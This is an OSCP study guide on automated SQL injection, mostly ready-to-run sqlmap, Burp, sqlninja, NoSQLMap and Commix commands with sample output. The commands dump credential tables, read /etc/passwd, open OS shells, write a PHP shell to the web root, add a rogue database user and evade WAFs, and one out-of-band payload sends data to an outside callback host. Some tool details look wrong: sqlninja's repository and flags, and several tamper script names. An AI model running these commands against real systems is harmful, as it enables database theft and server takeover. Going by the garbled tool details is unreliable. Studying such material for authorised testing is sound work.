Automated SQL Injection Tools — OSCP Study Guide
Author: OSCP Research Guide | Last Updated: 2026-09-01 Difficulty: Intermediate | Prerequisites: Understanding of SQL injection types and manual testing
Table of Contents
- SQLMap — The Swiss Army Knife
- SQLMap Detection Phase
- SQLMap Enumeration and Extraction
- SQLMap Advanced Options
- SQLMap Tamper Scripts Reference
- SQLMap Output and Session Management
- Burp Suite for SQLi
- Other Automated Tools
- OSCP Exam Considerations
- Quick Reference Card
1. SQLMap — The Swiss Army Knife
What is SQLMap?
SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers. It is widely regarded as the most powerful and comprehensive SQLi tool available.
Key Features:
- Full auditing of all major SQL injection techniques
- Support for all major database management systems (MySQL, MSSQL, PostgreSQL, Oracle, SQLite, MongoDB, etc.)
- Database fingerprinting
- Data extraction from databases
- Access to the underlying file system
- Command execution on the underlying OS
Installation
# Method 1: Clone from GitHub (recommended, always latest)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py --version
# Method 2: Via pip
pip install sqlmap
# Method 3: Kali Linux (pre-installed)
sqlmap --version
# Method 4: via apt
sudo apt install sqlmap
Basic Usage Patterns
# Basic URL scan (GET request)
sqlmap -u "https://target.com/page.php?id=1"
# Specify which parameter to test
sqlmap -u "https://target.com/page.php?id=1&cat=2" -p id
# POST request with data
sqlmap -u "https://target.com/login.php" --data="username=admin&password=pass&submit=Login"
# POST request from file
sqlmap -u "https://target.com/login.php" --data="username=admin&password=pass" -p username
# From Burp saved request file (.txt exported from Burp)
sqlmap -r /path/to/request.txt
# From curl command
sqlmap --curl="curl -v -H 'Cookie: session=abc123' 'https://target.com/page?id=1'"
# With custom HTTP headers
sqlmap -u "https://target.com/page.php?id=1" --headers="Cookie: PHPSESSID=abc123; X-Forwarded-For: 127.0.0.1"
# With proxy
sqlmap -u "https://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
# With authentication
sqlmap -u "https://target.com/page.php?id=1" --auth-type="Basic" --auth-cred="user:pass"
sqlmap -u "https://target.com/page.php?id=1" --auth-type="NTLM" --auth-cred="DOMAIN/user:pass"
# Cookie-based injection
sqlmap -u "https://target.com/page.php" --cookie="id=1" -p id
# User-Agent injection
sqlmap -u "https://target.com/page.php" --user-agent="Mozilla/5.0 (test)"
Core Command-Line Options
| Option | Description | Example |
|---|---|---|
-u, --url |
Target URL | -u "http://target.com?id=1" |
-p |
Testable parameter(s) | -p id,name |
--data |
POST data string | --data="user=admin&pass=123" |
-r |
Request file path | -r request.txt |
--batch |
Run in non-interactive mode | --batch |
--level |
Level of tests (1-5) | --level=3 |
--risk |
Risk of tests (1-3) | --risk=2 |
--threads |
Max number of concurrent HTTP requests | --threads=5 |
--delay |
Delay between requests (seconds) | --delay=1 |
--time-sec |
Delay seconds for time-based blind | --time-sec=5 |
--technique |
SQLi techniques to use | --technique=BUST |
--dbms |
Force target DBMS | --dbms=MySQL |
--os |
Force target OS | --os=Windows |
--proxy |
HTTP proxy | --proxy="http://127.0.0.1:8080" |
--headers |
Custom headers | --headers="Cookie: sid=abc" |
--random-agent |
Random User-Agent | --random-agent |
--user-agent |
Custom User-Agent | --user-agent="Mozilla/5.0" |
--ignore-code |
Ignore HTTP error code | --ignore-code=500 |
--skip-urlencode |
Skip URL encoding | --skip-urlencode |
--mobile |
Imitate smartphone via User-Agent | --mobile |
--csrf-token |
Adjust CSRF token before request | --csrf-token=token_name |
2. SQLMap Detection Phase
How Detection Works
When you run SQLMap, it goes through several phases:
Phase 1: Parameter Discovery
↓
Phase 2: Injection Detection (BUST techniques)
↓
Phase 3: DBMS Fingerprinting
↓
Phase 4: Enumeration (databases, tables, columns)
↓
Phase 5: Data Extraction
↓
Phase 6: Escalation (OS access, file system)
SQL Injection Techniques (BUST)
SQLMap tests for 5 main injection techniques, referenced by the --technique flag:
| Technique | Flag | Description | How It Works |
|---|---|---|---|
| Boolean-blind | B |
Content-based boolean blind | Sends TRUE/FALSE payloads, compares page differences |
| Error-based | E |
DBMS error-based | Triggers errors that leak data in error messages |
| Union-based | U |
Query-based UNION queries | Uses UNION SELECT to merge results |
| Stacked queries | S |
Stacked queries | Uses ; to execute additional queries (MSSQL) |
| Time-based | T |
Inline time-based blind | Uses SLEEP/WAITFOR to measure response delays |
# Test all techniques (default)
sqlmap -u "https://target.com/page.php?id=1" --batch
# Test only Boolean blind
sqlmap -u "https://target.com/page.php?id=1" --technique=B --batch
# Test only Union-based
sqlmap -u "https://target.com/page.php?id=1" --technique=U --batch
# Test only Time-based
sqlmap -u "https://target.com/page.php?id=1" --technique=T --batch
# Test Boolean + Union + Time
sqlmap -u "https://target.com/page.php?id=1" --technique=BUT --batch
Level and Risk Explained
Level (1-5): How many places to test
| Level | What It Tests |
|---|---|
| 1 | GET/POST parameters only (default) |
| 2 | Level 1 + User-Agent, Referer headers |
| 3 | Level 2 + Cookie headers |
| 4 | Level 3 + URL path |
| 5 | Level 4 + all other HTTP parameters |
# Test parameters + headers + cookies (recommended for thorough testing)
sqlmap -u "https://target.com/page.php?id=1" --level=3 --batch
# Maximum testing depth
sqlmap -u "https://target.com/page.php?id=1" --level=5 --batch
Risk (1-3): How aggressive the payloads are
| Risk | Description | Example Payloads |
|---|---|---|
| 1 | Safe payloads only (default) | ' OR 1=1--, ' AND 1=1-- |
| 2 | Includes DBMS-specific payloads | AND (SELECT * FROM (...)) |
| 3 | Includes OS injection, heavy payloads | '; DROP TABLE--, stacked queries |
# Recommended for OSCP labs
sqlmap -u "https://target.com/page.php?id=1" --level=3 --risk=2 --batch
# Maximum aggressiveness (use with caution)
sqlmap -u "https://target.com/page.php?id=1" --level=5 --risk=3 --batch
Sample Detection Output
[*] starting @ 14:23:45 /2026-09-01/
[14:23:45] [INFO] resuming back-end DBMS 'mysql'
[14:23:45] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own
do you want to use those? [Enter] (Y)
[14:23:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS could be 'MySQL'
do you want to skip test payloads specific for other DBMSes? [Enter] (Y)
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? this could enable many more tests
[Enter] (Y)
[14:23:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:23:52] [INFO] testing 'Boolean-based blind - Parameter replace (ORIGINAL)'
[14:23:54] [INFO] testing 'UNION query'
[14:23:56] [WARNING] time-based comparison requires larger statistical model,
please wait...
[14:24:00] [INFO] testing 'MySQL >= 5.0 AND time-based blind'
GET parameter 'id' is vulnerable. Do you want to keep testing the others?
[Y/n] (Y)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 9531=9531 AND 'pXvY'='pXvY
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x717a7a7a71,0x50504654545658535658,0x717a787a71),NULL-- wZfQ
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'jBhV'='jBhV
3. SQLMap Enumeration and Extraction
Enumerate Databases
# List all databases
sqlmap -u "https://target.com/page.php?id=1" --dbs --batch
# Expected output:
# available databases [6]:
# [*] information_schema
# [*] mysql
# [*] performance_schema
# [*] webapp
# [*] test
# [*] sys
Enumerate Tables
# List tables in a specific database
sqlmap -u "https://target.com/page.php?id=1" -D webapp --tables --batch
# Expected output:
# Database: webapp
# [5 tables]
# +-----------+
# | users |
# | products |
# | orders |
# | sessions |
# | config |
# +-----------+
Enumerate Columns
# List columns of a specific table
sqlmap -u "https://target.com/page.php?id=1" -D webapp -T users --columns --batch
# Expected output:
# Database: webapp
# Table: users
# [8 columns]
# +-----------+-------------+
# | Column | Type |
# +-----------+-------------+
# | id | int(11) |
# | username | varchar(50) |
# | password | varchar(255)|
# | email | varchar(100)|
# | role | varchar(20) |
# | created | datetime |
# | api_key | varchar(64) |
# | ssh_key | text |
# +-----------+-------------+
Dump Data
# Dump specific columns
sqlmap -u "https://target.com/page.php?id=1" -D webapp -T users -C username,password --dump --batch
# Dump entire table
sqlmap -u "https://target.com/page.php?id=1" -D webapp -T users --dump --batch
# Dump with WHERE clause
sqlmap -u "https://target.com/page.php?id=1" -D webapp -T users -C username,password --dump --batch -where "role='admin'"
# Dump all tables in a database
sqlmap -u "https://target.com/page.php?id=1" -D webapp --dump --batch
# Expected output:
# database: webapp
# Table: users
# [4 entries]
# +----+----------+------------------------------------+------------------+--------+
# | id | username | password | email | role |
# +----+----------+------------------------------------+------------------+--------+
# | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin@target.com | admin |
# | 2 | jdoe | e10adc3949ba59abbe56e057f20f883e | jdoe@target.com | user |
# | 3 | asmith | d8578edf8458ce06fbc5bb76a58c5ca4 | asmith@target.com| user |
# | 4 | dbadmin | 827ccb0eea8a706c4c34a16891f84e7b | db@target.com | admin |
# +----+----------+------------------------------------+------------------+--------+
SQL Shell (Interactive)
# Open interactive SQL shell
sqlmap -u "https://target.com/page.php?id=1" --sql-shell --batch
# Then execute arbitrary SQL:
sql-shell> SELECT * FROM users WHERE role='admin';
sql-shell> SELECT user(), version(), database();
sql-shell> SHOW GRANTS FOR CURRENT_USER;
Common Enumeration Flags
| Flag | Description | Example |
|---|---|---|
--dbs |
Enumerate all databases | --dbs |
--tables |
Enumerate tables | -D dbname --tables |
--columns |
Enumerate columns | -D dbname -T tablename --columns |
--dump |
Dump data | -D dbname -T tablename -C col1,col2 --dump |
--search |
Search for tables/columns | --search -T "user" -C "pass" |
--count |
Retrieve row count | -D dbname -T users --count |
--is-dba |
Check if DBA | --is-dba |
--roles |
Enumerate DBA roles | --roles |
--privileges |
Enumerate privileges | --privileges |
--users |
Enumerate DBMS users | --users |
--passwords |
DBMS user password hashes | --passwords |
--current-user |
Current DBMS user | --current-user |
--current-db |
Current database | --current-db |
--hostname |
Underlying hostname | --hostname |
4. SQLMap Advanced Options
OS Interaction
# Execute OS command
sqlmap -u "https://target.com/page.php?id=1" --os-cmd="whoami" --batch
# Get interactive OS shell
sqlmap -u "https://target.com/page.php?id=1" --os-shell --batch
# Get Meterpreter session (requires Metasploit)
sqlmap -u "https://target.com/page.php?id=1" --os-pwn --batch
# Get cmd.exe shell (Windows)
sqlmap -u "https://target.com/page.php?id=1" --os-pwn -o --batch
File System Access
# Read file from DB server
sqlmap -u "https://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# Write file to DB server
sqlmap -u "https://target.com/page.php?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php" --batch
# List directory
sqlmap -u "https://target.com/page.php?id=1" --file-list="/var/www/" --batch
Privilege Escalation
# Check DBA status
sqlmap -u "https://target.com/page.php?id=1" --is-dba --batch
# Enumerate privileges
sqlmap -u "https://target.com/page.php?id=1" --privileges --batch
# Enumerate users and password hashes
sqlmap -u "https://target.com/page.php?id=1" --users --passwords --batch
# Create new DBMS user
sqlmap -u "https://target.com/page.php?id=1" --user-create="hacker" --user-password="pass123" --batch
# Grant privileges to new user
sqlmap -u "https://target.com/page.php?id=1" --user-db-priv="ALL PRIVILEGES" --user-priv-on="webapp.*" --batch
Performance Tuning
# Increase threads for faster extraction (use carefully)
sqlmap -u "https://target.com/page.php?id=1" --threads=10 --batch
# Add delay between requests (avoid detection)
sqlmap -u "https://target.com/page.php?id=1" --delay=2 --batch
# Set time-based delay threshold
sqlmap -u "https://target.com/page.php?id=1" --time-sec=10 --batch
# Use smart extraction (optimizes queries)
sqlmap -u "https://target.com/page.php?id=1" --smart --batch
# Limit number of entries retrieved
sqlmap -u "https://target.com/page.php?id=1" -D webapp -T users --dump --fresh-queries --batch
Common Options Reference
| Option | Description | When to Use |
|---|---|---|
--batch |
Non-interactive mode (accept defaults) | Always use for scripting |
--fresh-queries |
Ignore cached results | When re-running after changes |
--flush-session |
Delete session data | When starting fresh |
--time-sec=N |
Time delay seconds | Slow networks, time-based SQLi |
--retries=2 |
HTTP request retries | Unstable connections |
--timeout=10 |
HTTP timeout seconds | Slow targets |
--check-tokens |
Token-based boolean check | Dynamic page content |
--code=200 |
Expected HTTP code | Custom success detection |
--skip-waf |
Heuristic WAF bypass | When WAF detected |
--ignore-proxy |
Ignore system proxy | When proxy interferes |
--no-cast |
Skip value casting | Type conversion issues |
--no-escape |
Skip string escaping | Special character handling |
--prefix="str" |
Injection payload prefix | When payload needs adjustment |
--suffix="str" |
Injection payload suffix | When payload needs adjustment |
--purge |
Remove all output data | Clean slate |
Prefix and Suffix Tuning
When SQLMap’s auto-detection gets the payload structure slightly wrong:
# Add custom prefix (e.g., closing parenthesis)
sqlmap -u "https://target.com/page.php?id=1" --prefix=")-" --suffix="-- " --batch
# Add custom prefix for string context
sqlmap -u "https://target.com/page.php?id=1" --prefix="'--" --suffix="--" --batch
# Common prefix/suffix combinations
--prefix="')" --suffix="-- " # Closing paren + quote
--prefix="'" --suffix="--" # String context
--prefix="" --suffix="--" # Numeric context
--prefix="'))" --suffix="--" # Nested parentheses
5. SQLMap Tamper Scripts Reference
What Are Tamper Scripts?
Tamper scripts modify SQL injection payloads to bypass WAFs, IPS, and input validation filters. They are Python scripts located in sqlmap/tamper/.
How to Use Tamper Scripts
# Single tamper script
sqlmap -u "https://target.com/page.php?id=1" --tamper=space2comment --batch
# Multiple tamper scripts (comma-separated, no spaces)
sqlmap -u "https://target.com/page.php?id=1" --tamper=space2comment,charencode,unionalltounion --batch
# Using with other options
sqlmap -u "https://target.com/page.php?id=1" --tamper=space2comment --level=3 --risk=2 --batch --dbs
Complete Tamper Scripts Reference
Space Replacement Scripts
| Script | Transformation | Bypasses |
|---|---|---|
space2comment |
→ /**/ |
Basic WAFs, space filters |
space2dash |
→ --\n |
Comment-based filters |
space2hash |
→ #\n |
Hash comment filters |
space2moremask |
→ random whitespace |
Advanced WAFs |
space2moreblank |
→ random blank chars |
Space detection |
space2mssqlblank |
→ random blanks (MSSQL) |
MSSQL-specific WAFs |
space2mssqlhash |
→ #\n (MSSQL) |
MSSQL hash filters |
space2mysqlblank |
→ blanks (MySQL 4+) |
MySQL-specific WAFs |
space2mysqldash |
→ --\n (MySQL) |
MySQL comment filters |
space2plus |
→ + |
URL-encoded space filters |
Encoding Scripts
| Script | Transformation | Bypasses |
|---|---|---|
charencode |
URL-encode all chars | Encoding filters |
charunicodeencode |
Unicode URL-encode | ASCII-only filters |
charunicodeescape |
Unicode escape (unescaped) | Unicode filters |
randomcase |
Random keyword case | Case-sensitive filters |
randomcase2 |
Random case per char | Per-char case filters |
Keyword Replacement Scripts
| Script | Transformation | Bypasses |
|---|---|---|
unionalltounion |
UNION ALL SELECT → UNION SELECT |
UNION ALL filters |
equaltolike |
= → LIKE |
Equals sign filters |
greatest |
> → GREATEST() |
Comparison filters |
modsecurityversioned |
Append versioned comment | ModSecurity CRS |
modsecurityzeroversioned |
Zero versioned comment | ModSecurity CRS |
between |
> → NOT BETWEEN 0 AND |
Greater-than filters |
halfversionedmorekeywords |
Add MySQL version comment | MySQL keyword filters |
versionedkeywords |
Prefix keywords with version | Keyword filters |
versionedmorekeywords |
Prefix all keywords with version | Strict keyword filters |
WAF-Specific Scripts
| Script | Target WAF | Technique |
|---|---|---|
bluecoat |
BlueCoat | Space after SQL statements |
charencode |
Generic | Full URL encoding |
commalesslimit |
Generic | LIMIT a,b → LIMIT b OFFSET a |
commalessmidpoint |
Generic | SUBSTR(a FROM b FOR c) |
appendnullbyte |
Generic | Null byte at end |
generic evasion |
Generic WAFs | Multiple evasion techniques |
generic_extract |
Generic WAFs | Extract value bypass |
inlinecomments |
Generic | Remove inline comments |
lowercase |
Generic | Lowercase keywords |
modsecurityversioned |
ModSecurity | Versioned comment |
overlongutf8 |
Generic | Overlong UTF-8 encoding |
percentage |
Generic | Percentage encoding |
randomcomments |
Generic | Random comment insertion |
securesphere |
SecureSphere | Trailing whitespace |
sp_password |
Generic | SQL Server sp_password |
space2hash |
Generic | Hash comment replacement |
symboliclogical |
Generic | &&/|| replacement |
timestretch |
HIDS | Time-based stretch |
uppercase |
Generic | Uppercase keywords |
varhex |
MySQL | Variable hex encoding |
base64encode |
Generic | Base64 encoding |
MySQL-Specific Scripts
| Script | Transformation | Bypasses |
|---|---|---|
apostrophemask |
' → %27 |
Quote filters |
apostrophenullencode |
' → \0' |
Null-quote filters |
bulkedinsert |
INSERT → bulk insert | Insert filters |
ifnull2casewhen |
IFNULL → CASE WHEN |
IFNULL filters |
ifnull2ifisnull |
IFNULL → IF(ISNULL()) |
IFNULL filters |
mysqlinlinecomments |
Remove MySQL comments | Comment filters |
nonrecursivereplacement |
Double keyword bypass | Single-pass WAFs |
overlongutf8 |
Overlong UTF-8 | UTF-8 filters |
overlongutf8more |
Extended overlong UTF-8 | Strict UTF-8 filters |
percentage |
Percentage encoding | Percentage filters |
randomcase |
Random case | Case filters |
securesphere |
SecureSphere bypass | SecureSphere WAF |
sp_password |
sp_password masking | SQL Server filters |
space2hash |
Hash comment | Space filters |
space2moreblank |
More blank chars | Space detection |
space2mysqldash |
MySQL dash comment | MySQL filters |
symboliclogical |
Symbolic logic | Logical operator filters |
unionalltounion |
UNION ALL → UNION | UNION filters |
varhex |
Variable hex | Variable filters |
Recommended Tamper Combinations
# For ModSecurity
sqlmap -u "URL" --tamper=space2comment,modsecurityversioned --batch
# For Cloudflare
sqlmap -u "URL" --tamper=space2comment,randomcase,charencode --batch
# For generic WAF
sqlmap -u "URL" --tamper=space2comment,unionalltounion,equaltolike --batch
# For aggressive WAF
sqlmap -u "URL" --tamper=space2moremask,charencode,randomcase,apostrophemask --batch
# For MSSQL WAF
sqlmap -u "URL" --tamper=space2mssqlblank,space2mssqlhash,equaltolike --batch
Writing Custom Tamper Scripts
# Example: custom_tamper.py
# Place in sqlmap/tamper/ directory
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""Custom tamper: replace spaces with random whitespace"""
if not payload:
return payload
# Replace spaces with /**/
result = re.sub(r'\s+', '/**/', payload)
return result
# Use custom tamper
sqlmap -u "URL" --tamper=custom_tamper --batch
6. SQLMap Output and Session Management
Output Directory Structure
~/.sqlmap/output/
└── target.com/
├── session # Session file (resumable)
├── request # Original request
└── dump/
└── webapp/
├── users.csv # Dumped data (CSV format)
├── products.csv
└── config.csv
Session Management
# SQLMap automatically saves session for resumption
# To resume a previous scan:
sqlmap -u "https://target.com/page.php?id=1" --batch
# SQLMap will ask: "it looks like the back-end DBMS is MySQL. Do you want to fetch
# default databases? [Enter] (y)"
# Force fresh scan (ignore session)
sqlmap -u "https://target.com/page.php?id=1" --fresh-queries --batch
# Delete session data
sqlmap -u "https://target.com/page.php?id=1" --flush-session --batch
# Delete all output data
sqlmap -u "https://target.com/page.php?id=1" --purge --batch
CSV Dump Format
SQLMap saves dumped data as CSV files:
# sqlmap dump: webapp.users
id,username,password,email,role
1,admin,5f4dcc3b5aa765d61d8327deb882cf99,admin@target.com,admin
2,jdoe,e10adc3949ba59abbe56e057f20f883e,jdoe@target.com,user
3,asmith,d8578edf8458ce06fbc5bb76a58c5ca4,asmith@target.com,user
Exporting Results
# Results are automatically saved as CSV
# Location: ~/.sqlmap/output/<target>/dump/<database>/<table>.csv
# You can also use --dump-format for different output formats
sqlmap -u "URL" -D webapp -T users --dump --dump-format=CSV --batch
sqlmap -u "URL" -D webapp -T users --dump --dump-format=HTML --batch
sqlmap -u "URL" -D webapp -T users --dump --dump-format=SQLITE --batch
7. Burp Suite for SQLi
Burp Suite Proxy → Repeater Workflow
1. Configure browser proxy to 127.0.0.1:8080
2. Browse target application
3. In Burp Proxy → HTTP history, find the request
4. Right-click → "Send to Repeater" (or Ctrl+R)
5. In Repeater tab, modify parameters manually
6. Send request and analyze response
Burp Intruder for SQLi
Setup
1. Send request to Intruder (Ctrl+I)
2. Go to "Positions" tab
3. Clear default markers (§)
4. Highlight the parameter value to test
5. Click "Add §" to mark position
6. Go to "Payloads" tab
7. Load SQLi payload list
8. Configure attack type:
- Sniper: One position, iterate through payloads (most common for SQLi)
- Battering Ram: One position, all payloads at once
- Pitchfork: Multiple positions, iterate in parallel
- Cluster Bomb: Multiple positions, all combinations
Recommended Payload Lists
# PortSwigger's SQLi payload list (built-in)
# Or create custom list:
'
"
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR '1'='1'--
admin'--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
1 OR 1=1
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--
1' ORDER BY 4--
1' ORDER BY 5--
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
Response Analysis in Intruder
1. After attack completes, sort by:
- Length: Different lengths indicate different responses (boolean blind)
- Status code: 200 vs 500 indicates error-based
- Response time: Slower responses indicate time-based
2. Click on suspicious responses
3. View full response in bottom pane
4. Look for SQL errors, data leakage, or behavior changes
Burp Scanner (Pro Version)
1. Enable Scanner in Proxy settings
2. Browse target application (passive scanning)
3. For active scanning:
- Right-click request → "Do active scan"
- Configure scan queue
- Review issues in "Target" → "Site map"
4. SQLi issues appear under "Security vulnerabilities"
5. Click issue for detailed description and proof
Burp Collaborator (OAST Testing)
1. Open "Burp Collaborator" tab
2. Click "Copy to clipboard" to get payload (e.g., abc123.oastify.com)
3. Use in SQLi payload:
?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT version()),'.abc123.oastify.com\\test')))--
4. Click "Poll now" to check for callbacks
5. DNS/HTTP callbacks confirm out-of-band SQLi
Integrating Burp with SQLMap
# Export request from Burp to file
# In Burp: Right-click → Copy to file → Save as request.txt
# Feed to SQLMap
sqlmap -r request.txt --batch
# Use Burp as proxy for SQLMap
sqlmap -u "https://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" --batch
# This lets you monitor all SQLMap traffic in Burp
8. Other Automated Tools
sqlninja (MSSQL Focused)
Specialized tool for MSSQL injection with OS command execution:
# Installation
git clone https://github.com/sqlmapproject/sqlninja.git
cd sqlninja
# Basic usage
sqlninja -u "https://target.com/page.asp?id=1" -k # Take over connection
# OS shell
sqlninja -u "https://target.com/page.asp?id=1" -s # Get OS shell
# Detailed options
sqlninja -u "URL" -k -g # Takeover + get shell
sqlninja -u "URL" --technique=union # Force UNION technique
sqlninja -u "URL" --technique=blind # Force blind technique
NoSQLMap (MongoDB)
For NoSQL injection testing:
# Installation
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
pip install -r requirements.txt
# Basic usage
python nosqlmap.py -u "https://target.com/api/login" --data='{"username":"admin","password":"test"}' --method=POST
# Boolean-based technique
python nosqlmap.py -u "https://target.com/api/user?id=1" --tech=b
# Time-based technique
python nosqlmap.py -u "https://target.com/api/user?id=1" --tech=t
# Dump database
python nosqlmap.py -u "https://target.com/api/user?id=1" --dump
Arjun (Hidden Parameter Discovery)
Find hidden GET/POST parameters:
# Installation
pip install arjun
# Basic usage
arjun -u "https://target.com/page.php"
# Specify method
arjun -u "https://target.com/page.php" -m POST
# With wordlist
arjun -u "https://target.com/page.php" -w wordlist.txt
# Aggressive mode
arjun -u "https://target.com/page.php" -H
# Output to file
arjun -u "https://target.com/page.php" -o results.txt
Commix (Command Injection)
For OS command injection (complementary to SQLi):
# Installation
git clone https://github.com/commixproject/commix.git
cd commix
# Basic usage
python commix.py -u "https://target.com/page.php?id=1"
# With specific technique
python commix.py -u "https://target.com/page.php?id=1" --os-cmd="whoami"
# Interactive shell
python commix.py -u "https://target.com/page.php?id=1" --shell
wfuzz (Fuzzing)
General-purpose fuzzing tool:
# Installation
pip install wfuzz
# Basic SQLi fuzzing
wfuzz -c -z file,/usr/share/sqlmap/tamper/payloads.txt -u "https://target.com/page.php?id=FUZZ"
# Fuzz with wordlist
wfuzz -c -z file,wordlist.txt -u "https://target.com/page.php?id=FUZZ" --hc 404
# Fuzz POST parameters
wfuzz -c -z file,payloads.txt -d "username=FUZZ&password=admin" -u "https://target.com/login.php"
# Filter by response size
wfuzz -c -z file,payloads.txt -u "https://target.com/page.php?id=FUZZ" --ss "ERROR"
Tool Comparison
| Tool | Best For | Database Support | Automation Level | OSCP Value |
|---|---|---|---|---|
| SQLMap | Everything | All major DBs | Full | Essential |
| Burp Suite | Manual testing | N/A (proxy) | Semi | Essential |
| sqlninja | MSSQL takeover | MSSQL only | Full | High |
| NoSQLMap | NoSQL injection | MongoDB, CouchDB | Full | Medium |
| Arjun | Parameter discovery | N/A | Full | Medium |
| Commix | Command injection | N/A | Full | Medium |
| wfuzz | Fuzzing | N/A | Full | Medium |
9. OSCP Exam Considerations
When to Use Manual vs Automated
| Scenario | Recommended Approach | Why |
|---|---|---|
| Initial detection | Manual (Burp Repeater) | Faster, more control |
| Confirming injection type | Manual | Understand the vulnerability |
| Extracting schema | SQLMap | Saves time on enumeration |
| Dumping credentials | SQLMap | Automated extraction |
| WAF present | Manual first, then SQLMap + tamper | Need to understand WAF rules |
| Time pressure | SQLMap | Fastest extraction |
| Documentation needed | Manual | Better evidence collection |
Recommended OSCP Workflow
Step 1: Manual detection with Burp Repeater (5-10 minutes)
- Test ' for error
- Test ' OR 1=1-- for boolean
- Test ORDER BY for column count
- Confirm injection type
Step 2: If manual works, continue manually for evidence
- Extract database name
- Extract table names
- Extract column names
- Extract credentials
- Document each step with screenshots
Step 3: If manual is too slow or complex, switch to SQLMap
sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt -D dbname --tables --batch
sqlmap -r request.txt -D dbname -T tablename --columns --batch
sqlmap -r request.txt -D dbname -T tablename -C user,pass --dump --batch
Step 4: Escalation
sqlmap -r request.txt --os-shell --batch
sqlmap -r request.txt --file-read="/etc/passwd" --batch
SQLMap Tips for OSCP
- Always use
--batchto avoid interactive prompts during timed exam - Use
-rwith Burp export to preserve exact request format (headers, cookies) - Start with
--level=2 --risk=1for balanced detection - Use
--threads=3for faster extraction without being too aggressive - Save session so you can resume if needed
- Document SQLMap output — save terminal output for report
- Use
--dumpwith specific columns rather than dumping entire tables - Check
--is-dbabefore attempting OS commands
Common SQLMap Issues and Fixes
| Problem | Solution |
|---|---|
| “Parameter not vulnerable” | Try --level=3, check different parameters |
| “HTTP error code 500” | Use --ignore-code=500 |
| “WAF detected” | Use --tamper scripts, try --skip-waf |
| “Too slow” | Increase --threads, decrease --delay |
| “Connection timeout” | Increase --timeout, add --retries |
| “Wrong payload format” | Use --prefix and --suffix |
| “Session conflict” | Use --flush-session |
| “Dynamic content” | Use --check-tokens, --code=200 |
10. Quick Reference Card
SQLMap Command Cheat Sheet
# === DETECTION ===
sqlmap -u "URL?param=value" --batch # Basic scan
sqlmap -r request.txt --batch # From Burp export
sqlmap -u "URL" --level=3 --risk=2 --batch # Thorough scan
sqlmap -u "URL" --technique=BUST --batch # All techniques
sqlmap -u "URL" --random-agent --batch # Random UA
# === ENUMERATION ===
sqlmap -u "URL" --batch --dbs # List databases
sqlmap -u "URL" -D dbname --tables --batch # List tables
sqlmap -u "URL" -D dbname -T tbl --columns --batch # List columns
sqlmap -u "URL" --current-user --batch # Current user
sqlmap -u "URL" --is-dba --batch # DBA check
sqlmap -u "URL" --users --passwords --batch # DB users/hashes
# === EXTRACTION ===
sqlmap -u "URL" -D db -T tbl -C c1,c2 --dump --batch # Dump columns
sqlmap -u "URL" -D db -T tbl --dump --batch # Dump table
sqlmap -u "URL" --sql-shell --batch # SQL shell
sqlmap -u "URL" -D db --dump --batch # Dump all tables
# === ESCALATION ===
sqlmap -u "URL" --os-cmd="whoami" --batch # OS command
sqlmap -u "URL" --os-shell --batch # OS shell
sqlmap -u "URL" --file-read="/etc/passwd" --batch # Read file
sqlmap -u "URL" --file-write=local --file-dest=remote --batch # Write file
# === WAF BYPASS ===
sqlmap -u "URL" --tamper=space2comment --batch # Single tamper
sqlmap -u "URL" --tamper=space2comment,randomcase,charencode --batch # Multiple
sqlmap -u "URL" --skip-waf --batch # Auto WAF bypass
# === PERFORMANCE ===
sqlmap -u "URL" --threads=5 --batch # More threads
sqlmap -u "URL" --delay=1 --batch # Add delay
sqlmap -u "URL" --fresh-queries --batch # Fresh scan
sqlmap -u "URL" --flush-session --batch # Clear session
Essential Tamper Scripts by Scenario
| Scenario | Tamper Combination |
|---|---|
| ModSecurity | space2comment,modsecurityversioned |
| Cloudflare | space2comment,randomcase,charencode |
| Generic WAF | space2comment,unionalltounion,equaltolike |
| Aggressive WAF | space2moremask,charencode,randomcase,apostrophemask |
| MSSQL + WAF | space2mssqlblank,equaltolike |
| MySQL + WAF | space2mysqldash,apostrophemask |
End of Automated SQL Injection Tools Study Guide
This document is part of the OSCP preparation materials. Practice responsibly in authorized environments only.